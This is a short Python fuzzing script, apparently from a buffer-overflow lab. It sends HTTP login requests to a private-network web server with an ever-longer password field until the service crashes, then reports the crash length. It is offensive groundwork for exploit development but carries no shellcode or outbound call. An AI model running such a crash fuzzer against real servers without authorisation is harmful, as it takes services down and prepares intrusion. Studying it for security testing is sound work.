#!/usr/bin/env python3
import socket, time, sys

ip = "192.168.0.87"
port = 80
timeout = 5

def generate_payload(size):
  overflow = f"username=admin&password={'A' * size}"

  buf = "POST /login HTTP/1.1\r\n"
  buf += "Host: 127.0.0.1\r\n"
  buf += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\r\n"
  buf += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n"
  buf += "Accept-Language: en-US,en;q=0.5\r\n"
  buf += "Content-Type: application/x-www-form-urlencoded\r\n"
  buf += "Origin: http://127.0.0.1\r\n"
  buf += "Connection: close\r\n"
  buf += "Referer: http://127.0.0.1/login\r\n"
  buf += "Upgrade-Insecure-Requests: 1\r\n"
  buf += f"Content-Length: {len(overflow)}\r\n"
  buf += "\r\n"
  buf += overflow
  return buf

size = 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      payload = bytes(generate_payload(size), "latin-1")
      print("Fuzzing with {} bytes".format(size))
      s.send(payload)
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(size))
    sys.exit(0)
  size += 100
  time.sleep(1)